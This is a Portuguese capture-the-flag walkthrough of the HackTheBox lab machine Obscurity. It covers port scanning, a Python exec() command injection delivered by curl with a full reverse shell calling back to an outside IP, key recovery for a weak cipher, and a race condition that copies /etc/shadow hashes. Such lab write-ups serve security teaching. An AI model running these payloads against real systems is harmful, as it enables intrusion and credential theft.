HackTheBox. Passagem da obscuridade. Injeção de comando do SO e condição de corrida

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .

Neste artigo, exploramos uma vulnerabilidade no código python e também executamos um ataque de Condição de Corrida.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.168, que eu adiciono ao / etc / hosts.

10.10.10.168    obscurity.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.

nmap -A obscurity.htb -p22,8080

imagem

O host executa o serviço SSH e o servidor da web. Nós vamos assistir a web.

imagem

Assim, temos:

  1. Servidor de Gravação
  2. Criptografia usada
  3. O código do servidor no arquivo SuperSecureServer.py em algum diretório desconhecido.

Como sabemos o nome do arquivo, vamos ao diretório. Vamos fazer isso com o wfuzz. Como parâmetro, passamos o dicionário, URL e código de resposta a serem ignorados.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

imagem

E encontramos este diretório. Vamos baixar o código do servidor.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

Ponto de entrada


Abrimos e analisamos o servidor. Encontramos um uso potencialmente perigoso da função exec ().

imagem

Vamos adicionar algumas linhas ao código.

imagem

Assim, podemos iniciar o servidor localmente e ver o que entra na função exec (). Vamos iniciar o servidor e enviar uma solicitação.

curl http://127.0.0.1:33333/asd

imagem

curl "http://127.0.0.1:33333/asd'"

imagem

curl "http://127.0.0.1:33333/asd''"

imagem

Assim, temos injeção de comando do sistema operacional.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

imagem

Usaremos o seguinte shell python reverso.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Como o código do servidor já contém a importação dos módulos necessários, removemos a importação do shell. Também escapamos de aspas e colchetes.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

imagem

Bem! Tudo funciona na máquina local. Vamos executar esta solicitação para o servidor.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

imagem

Temos um ponto de entrada.

DO UTILIZADOR


Examinamos o servidor e encontramos arquivos legíveis no diretório inicial do usuário.

imagem

Lemos arquivos.

imagem

Assim, os arquivos são criptografados. Baixe tudo o que nos é dado ao host local. A mensagem informa que o arquivo check.txt está criptografado e o resultado está out.txt. Vamos ver o algoritmo.

imagem

Assim, durante a criptografia, ocorre a adição do símbolo de texto e do símbolo de chave módulo 255. Ao descriptografar, esses símbolos são subtraídos.

Ou seja, ([check.txt] + [chave])% 255 = out.txt e ([out.txt] - [chave])% 255 = check.txt. Então ([out.txt] - [check.txt])% 255 = chave.

imagem

imagem

E olhe para a chave.

imagem

E agora nessa chave, descriptografamos a senha do usuário.

imagem

Nós nos conectamos via SSH com essa senha e pegamos a bandeira do usuário.

imagem

RAIZ


Vejamos as configurações do sudo, a saber, se o usuário robert pode executar qualquer comando no sudo sem uma senha.

imagem

Vamos ver o código. O código exigirá dados de autenticação. Em seguida, ele copia o conteúdo do arquivo / etc / shadow para o diretório / tmp / SSH / *. Em seguida, ele verificará os dados de autenticação e excluirá o arquivo.

imagem

imagem

Portanto, devemos conseguir copiar o arquivo de / tmp / SSH / * antes de ser excluído. Execute o segundo terminal e execute um ciclo de leitura sem fim.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Agora execute o programa, insira quaisquer dados e veja os hashes.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

imagem

E eles quebram facilmente.

imagem

Nós levamos a bandeira da raiz.

imagem

Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles